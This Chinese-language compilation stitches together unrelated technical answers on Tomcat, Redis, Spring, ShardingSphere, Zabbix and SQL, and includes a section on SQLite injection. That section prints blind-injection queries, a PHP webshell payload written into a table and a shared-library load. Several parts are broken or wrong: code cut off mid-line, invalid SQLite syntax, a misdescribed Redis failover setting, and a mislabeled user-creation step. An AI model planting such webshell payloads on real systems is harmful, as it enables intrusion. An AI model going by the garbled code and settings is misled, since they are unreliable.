在Ubuntu 20.04上安装配置JDK 21和Tomcat 10的步骤如下：

1. 安装OpenJDK 21（如果有JDK 21的官方PPA或其他方式，请替换下面的步骤）:

sudo apt update
sudo apt install openjdk-21-jdk

2. 验证安装是否成功：

java -version

3. 下载Tomcat 10（从Tomcat官网下载tar.gz包）:

wget https://dlcdn.apache.org/tomcat/tomcat-10/v10.0.17/bin/apache-tomcat-10.0.17.tar.gz

4. 解压Tomcat压缩包：

sudo tar xzvf apache-tomcat-10.0.17.tar.gz -C /usr/local/

5. 更改目录名为tomcat10：

sudo mv /usr/local/apache-tomcat-10.0.17/ /usr/local/tomcat10

6. 设置环境变量：

echo "export CATALINA_HOME=/usr/local/tomcat10" | sudo tee -a /etc/profile
echo "export PATH=\$PATH:\$CATALINA_HOME/bin" | sudo tee -a /etc/profile

7. 更新环境变量：

source /etc/profile

8. 启动Tomcat服务：

sudo /usr/local/tomcat10/bin/startup.sh

9. 验证Tomcat是否启动：

sudo /usr/local/tomcat10/bin/catalina.sh version

10. 在浏览器中访问Tomcat服务：

    打开你的Web浏览器，然后输入 http://your_server_ip:8080，你应该能看到Tomcat的欢迎页面。

注意：确保你的Ubuntu防火墙允许8080端口的流量，或者你可以暂时禁用防火墙进行测试。如果你在不同的机器上进行操作，请将your_server_ip替换为你的服务器IP地址。

RedisSearch是一个为Redis设计的全文搜索引擎，它可以针对Redis的键值对实现快速的模糊搜索。RedisSearch不仅提供了全文搜索的功能，还提供了搜索结果的分页、排序等高级特性。

以下是一个使用RedisSearch的Python示例代码，这里我们使用redisearch-py库来操作RedisSearch：

首先，安装redisearch-py库：

pip install redisearch-py

然后，使用Python代码操作RedisSearch：

from redisearch import Client, TextField, NumericField
 
# 连接到Redis
client = Client('my_index', host='localhost', port=6379)
 
# 创建一个文本字段和一个数值字段
text = TextField('text')
num = NumericField('num')
 
# 创建索引
client.create_index((text, num))
 
# 添加文档到索引
client.add_document('doc1', text='Hello World', num=1)
client.add_document('doc2', text='Hello Redis', num=2)
client.add_document('doc3', text='Hello Elasticsearch', num=3)
 
# 执行搜索
res = client.search('Hello')
 
# 打印搜索结果
for doc in res.docs:
    print(doc.id, doc.score, doc.text, doc.num)

在这个例子中，我们首先连接到Redis，然后创建一个索引，该索引包含一个文本字段和一个数值字段。接着，我们添加了三个文档到索引中。最后，我们执行了一个简单的搜索，搜索所有包含'Hello'的文档，并打印出来。

import io.micrometer.core.instrument.MeterRegistry;
import io.micrometer.core.instrument.binder.jvm.JvmThreadMetrics;
import io.micrometer.core.instrument.binder.system.ProcessorMetrics;
import io.micrometer.prometheus.PrometheusMeterRegistry;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
 
@Configuration
public class MetricsConfig {
 
    @Bean
    public MeterRegistry meterRegistry() {
        return new PrometheusMeterRegistry(PrometheusMeterRegistry.config()
                .commonTags("application", "my-spring-boot-application"));
    }
 
    @Bean
    public JvmThreadMetrics jvmThreadMetrics() {
        return new JvmThreadMetrics();
    }
 
    @Bean
    public ProcessorMetrics processorMetrics() {
        return new ProcessorMetrics();
    }
 
    // 以下是自定义的埋点示例
    @Bean
    public MyCustomMetrics myCustomMetrics(MeterRegistry registry) {
        return new MyCustomMetrics(registry);
    }
}
 
class MyCustomMetrics {
    private final MeterRegistry registry;
 
    public MyCustomMetrics(MeterRegistry registry) {
        this.registry = registry;
        // 在这里添加自定义的埋点逻辑
    }
 
    // 自定义的埋点方法
    public void recordMyCustomMetric(String key, double value) {
        registry.counter(key, "type", "myCustomMetric").increment(value);
    }
}

这个代码示例展示了如何在Spring Boot应用程序中配置Prometheus和Micrometer，并添加了JVM线程和处理器指标的监控以及自定义的埋点逻辑。这是一个很好的实践，可以作为开发者在集成Prometheus和Spring Boot时的参考。

在Redis集群中，脑裂通常指的是一个主节点在没有从节点复制的情况下突然变得不可用，导致整个集群不可写。脑裂的原因可能包括网络分裂、故障检测和恢复时间太长等。

解决方案：

1. 网络分裂保护：通过设置合适的cluster-node-timeout和cluster-slave-validity-factor，可以在网络分裂发生时，防止主节点过早认为从节点失效。
2. 快速故障检测：通过设置cluster-node-time和cluster-migration-barrier，可以使得集群快速发现主节点失效并进行选举。
3. 合理的副本策略：在创建集群时，应确保每个主节点至少有一个从节点，并且从节点与主节点保持适当的同步。
4. 监控和管理：定期监控集群的健康状态，并通过Redis的管理工具和CLI工具进行集群的维护和管理。
5. 自动故障转移：开启cluster-require-full-coverage配置，可以确保在主节点失效时，集群能自动进行故障转移。
6. 持久化配置：确保Redis的RDB和AOF持久化机制可靠，在节点故障时可以进行数据恢复。
7. 运维策略：建立应急计划和故障转移测试，以便在出现问题时可以迅速恢复服务。

配置实例：

# 网络分裂保护
cluster-node-timeout 15000
cluster-slave-validity-factor 10
 
# 快速故障检测
cluster-migration-barrier 1
 
# 开启自动故障转移
cluster-require-full-coverage yes
 
# 持久化配置
appendonly yes
appendfsync everysec

以上配置可以作为集群运维的基础参考，根据实际情况可以适当调整参数值。

import org.apache.shardingsphere.infra.config.properties.ConfigurationProperties;
import org.apache.shardingsphere.infra.context.metadata.MetaDataContexts;
import org.apache.shardingsphere.infra.context.runtime.RuntimeContext;
import org.apache.shardingsphere.infra.database.DefaultSchema;
import org.apache.shardingsphere.infra.database.type.DatabaseType;
import org.apache.shardingsphere.infra.datanode.DataNode;
import org.apache.shardingsphere.infra.metadata.model.ShardingSphereMetaData;
import org.apache.shardingsphere.infra.metadata.model.logic.LogicTableMetaData;
import org.apache.shardingsphere.infra.rule.ShardingSphereRule;
import org.apache.shardingsphere.infra.rule.type.DataSourceContainedRule;
import org.apache.shardingsphere.infra.rule.type.TableContainedRule;
import org.apache.shardingsphere.mode.manager.ContextManager;
import org.apache.shardingsphere.mode.metadata.MetaDataContextsBuilder;
import org.apache.shardingsphere.sharding.api.config.ShardingRuleConfiguration;
import org.apache.shardingsphere.sharding.api.config.rule.ShardingTableRuleConfiguration;
import org.apache.shardingsphere.sharding.api.config.strategy.sharding.ShardingStrategyConfiguration;
import org.apache.shardingsphere.sharding.api.config.strategy.sharding.StandardShardingStrategyConfiguration;
import org.apache.shardingsphere.sharding.rule.ShardingRule;
 
import java.sql.SQLException;
import java.util.Arrays;
import java.util.Collection;
import java.util.Collections;
import java.util.HashMap;
import java.util.Map;
import java.util.Properties;
 
public class ShardingSphereDynamicTableShardingExample {
 
    public static void main(final String[] args) throws SQLException {
        // 配置分片规则
        ShardingRuleConfiguration shardingRuleConfig = new ShardingRuleConfiguration();
        // 配置分表规则
        ShardingTableRuleConfiguration orderConfig = new ShardingTableRuleConfiguration("t_order", "ds_${0..1}.t_order_${yyyyMM}");
        shardingRuleConfig.getTables().add(orderConfig);
        // 配置分片键
        shardingRuleConfig.setDefaultDatabaseShardingStrategyConfig(new StandardShardingStrategyConfiguration("user_id", "ds_${user_id % 2}"));
        shardingRuleConfig.setDefaultTableShardingStrategyConfig(new StandardShardingStrategyConfiguration("order_id", "t_order_${order_id.substring(0, 6)}"));
 
        // 创建数据源配置
        Map<String, DataSource> dataSourceMap = createDataSource

Navicat 是一款数据库管理工具，它提供了图形用户界面(GUI)来帮助用户管理 MySQL、MariaDB、SQL Server、PostgreSQL 和 Oracle 等数据库。

在这个问题中，我们需要创建一个查询，用于从数据库表中选择特定的字段。这个查询可以通过 Navicat 的查询创建工具来完成。

解决方案一：

-- 假设我们有一个名为 `employees` 的表，我们想要选择 `first_name` 和 `last_name` 字段
SELECT first_name, last_name FROM employees;

解决方案二：

如果你想要选择所有的字段，你可以使用星号(*)。

-- 选择 `employees` 表中的所有字段
SELECT * FROM employees;

解决方案三：

如果你想要选择特定的几个字段，你可以列出这些字段的名称。

-- 选择 `employees` 表中的 `first_name`, `last_name`, 和 `email` 字段
SELECT first_name, last_name, email FROM employees;

解决方案四：

如果你想要对某个字段进行去重复操作，你可以使用 DISTINCT 关键字。

-- 选择 `employees` 表中的不同的 `department` 字段
SELECT DISTINCT department FROM employees;

解决方案五：

如果你想要对查询结果进行计算，你可以使用表达式或者内置的 SQL 函数。

-- 选择 `employees` 表中的 `salary` 字段，并计算每个员工的年薪
SELECT first_name, last_name, salary, (salary * 12) AS annual_salary FROM employees;

以上就是使用 Navicat 查询创建工具选择特定字段的一些基本方法。在实际使用中，你可以根据你的需求来选择合适的查询方式。

SQLite注入是一种攻击技术，它试图通过向SQLite数据库提交恶意SQL代码来改变或访问数据。以下是一些常见的SQLite注入攻击方法：

1. 现在最全、核心函数的用法：

-- 创建一个新表
CREATE TABLE users (id INTEGER PRIMARY KEY, username TEXT, password TEXT);
 
-- 插入新记录
INSERT INTO users (username, password) VALUES ('admin', 'admin');
 
-- 查询记录
SELECT * FROM users WHERE username = 'admin';
 
-- 更新记录
UPDATE users SET password = 'new_password' WHERE username = 'admin';
 
-- 删除记录
DELETE FROM users WHERE username = 'admin';

2. 布尔盲注：

-- 通过条件判断查询是否存在
SELECT CASE WHEN (SELECT COUNT(*) FROM sqlite_master) > 0 THEN '1' ELSE '0' END

3. 时间盲注：

-- 通过CASE语句和sleep()函数进行时间盲注
SELECT CASE WHEN (SELECT COUNT(*) FROM sqlite_master) > 0 THEN sleep(10) ELSE '0' END

4. Webshell：

-- 通过更新记录插入webshell
UPDATE OR INSERT INTO users (username, password) VALUES ('webshell', '<?php @eval($_POST[cmd]); ?>');

5. 动态库注入：

-- 加载并执行外部动态库
.load '/path/to/library.so'

注意：

• 上述代码只是示例，不同的数据库版本和配置可能会影响这些攻击的有效性。
• 在实际环境中，应该采取措施避免SQL注入，如使用参数化查询、预编译语句等。

在Spring Boot中，你可以在切面的@Pointcut注解中使用execution表达式来指定要拦截的方法。如果你想指定多个包路径，可以使用||来连接多个表达式。

下面是一个例子，展示了如何在Spring Boot应用中使用AspectJ的execution表达式来拦截多个包路径下的方法。

import org.aspectj.lang.annotation.Pointcut;
import org.springframework.stereotype.Component;
 
@Aspect
@Component
public class MyAspect {
 
    // 拦截com.example.service包下及其子包下的所有方法
    @Pointcut("execution(* com.example.service..*.*(..))")
    public void servicePackageMethods() {
    }
 
    // 拦截com.example.controller包下及其子包下的所有方法
    @Pointcut("execution(* com.example.controller..*.*(..))")
    public void controllerPackageMethods() {
    }
 
    // 组合两个包的Pointcut
    @Pointcut("servicePackageMethods() || controllerPackageMethods()")
    public void multiplePackageMethods() {
    }
 
    // 通知，例如：@Before
    @Before("multiplePackageMethods()")
    public void beforeMethod(JoinPoint joinPoint) {
        // 方法执行前的逻辑
    }
}

在上面的例子中，multiplePackageMethods()是一个组合的Pointcut，它匹配com.example.service或com.example.controller包下的任何方法。servicePackageMethods()和controllerPackageMethods()分别定义了对应包路径下的Pointcut。通过||操作符，你可以将它们组合起来，创建一个新的Pointcut，它匹配这两个包路径下的任何方法。

在Zabbix中监控多个Tomcat实例，你需要为每个Tomcat实例创建单独的监控项、触发器和图形。以下是创建监控Tomcat的步骤：

1. 在Zabbix中创建主机（如果尚未创建）。
2. 将Tomcat监控模板链接到该主机。
3. 为每个Tomcat实例配置JMX代理。
4. 更新JMX代理配置文件以反映正确的服务URL和端口。
5. 确保Zabbix服务器能够访问JMX代理端口。
6. 重启JMX代理以应用更改。

这里是一个简化的步骤，具体取决于你的Zabbix版本和Tomcat设置。

# 安装JMX代理（仅示例，具体安装方式取决于操作系统）
wget https://repo1.maven.org/maven2/io/tomahawk/jmx2es/jmx2es-client/0.1.5/jmx2es-client-0.1.5-bin.tar.gz
tar xvfz jmx2es-client-0.1.5-bin.tar.gz

# 编辑JMX代理的配置文件
nano jmx2es.properties

# 在配置文件中设置Zabbix服务器的地址和端口
jmxUrl=service:jmx:rmi:///jndi/rmi://<Tomcat_Host>:<Port>/jmxrmi
outputElasticsearch=true
esClusterName=elasticsearch_jmx
esHosts=<Zabbix_Server_IP>:9300
indexName=jmx2es
typeName=tomcat

确保替换 <Tomcat_Host> 和 <Port> 为实际的Tomcat主机地址和端口。

重启JMX代理：

./jmx2es.sh stop
./jmx2es.sh start

在Zabbix中，你可以创建新的监控项，触发器和图形，引用JMX代理输出到Elasticsearch的相关指标。

请注意，这只是一个高层次的指南。实际的配置可能会根据你的Zabbix版本、Tomcat设置和网络环境有所不同。

在Tomcat中启用HTTPS并进行身份验证和授权，你需要进行以下步骤：

1. 生成服务器的私钥和证书签名请求(CSR)。
2. 使用CA（证书颁发机构）签名证书请求，生成服务器证书。
3. 配置Tomcat以使用SSL，并引入服务器证书和私钥。
4. 配置Tomcat的web.xml以启用基本认证。

以下是一个简化的指导和示例配置：

生成私钥和证书：

keytool -genkey -alias tomcat -keyalg RSA -keystore /path/to/your/keystore.jks

使用CA签名证书：

# 假设已有CA签名的证书server.crt

配置Tomcat的server.xml：

<Connector port="8443" protocol="HTTP/1.1"
           SSLEnabled="true"
           keystoreFile="/path/to/your/keystore.jks"
           keystorePass="your_keystore_password"
           clientAuth="false"
           sslProtocol="TLS" />

配置web.xml以启用基本认证：

<security-constraint>
    <web-resource-collection>
        <web-resource-name>Restricted Area</web-resource-name>
        <url-pattern>/restricted/*</url-pattern>
    </web-resource-collection>
    <auth-constraint>
        <role-name>admin</role-name>
    </auth-constraint>
</security-constraint>
 
<login-config>
    <auth-method>BASIC</auth-method>
</login-config>
 
<security-role>
    <role-name>admin</role-name>
</security-role>

创建用户和角色：

keytool -importcert -file /path/to/your/server.crt -keystore /path/to/your/keystore.jks

确保替换路径、别名、密码等信息为你的实际配置。

以上步骤和配置是基本的，根据具体环境和需求，可能需要额外的步骤，如配置身份验证和授权机制、处理SSL证书的更新等。